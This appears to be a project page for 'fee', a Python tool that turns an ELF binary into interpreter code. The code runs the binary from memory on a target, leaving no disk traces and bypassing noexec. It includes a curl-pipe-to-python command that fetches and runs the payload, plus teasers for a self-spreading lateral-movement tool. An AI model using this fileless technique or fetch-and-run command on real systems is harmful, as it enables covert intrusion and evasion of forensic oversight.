This Python script generates interpreted code which creates the supplied ELF as a file in memory and executes it (without tmpfs).
This makes it possible to execute binaries without leaving traces on the disk.
The technique used for this is explained here.
With default options for each interpreter, running binaries using fee
does not write to disk whatsoever. This can be verified using tools such as strace
.
fee
also completely ignores and bypasses noexec
mount flags, even if they were set on /proc
.
memfd_create
support)Install this on your host machine using pipx:
$ pipx install fee
… or regular pip:
$ pip install --user fee
You may also clone this repository and run the script directly.
Basic usage: supply the path to the binary you wish to drop:
$ fee /path/to/binary > output.py
You can then pipe this into Python on the target:
$ curl my.example.site/output.py | python
For more information click here.
With simple specifications inspired by retro gaming consoles, such as displaying only 16 colors and…
hickory-dns - Uses hickory-resolver as DNS resolver instead of tokio's builtin. local-http - Allow using…
Syscall tables are critical components of operating systems, mapping system calls to their respective kernel…
GitButler is a git client that lets you work on multiple branches at the same…
Self-spreading to other Minecraft servers using an extendable, module-based lateral movement system. Crafty Controller Auth'd…
ModTask is an advanced C# tool designed for red teaming operations, focusing on manipulating scheduled…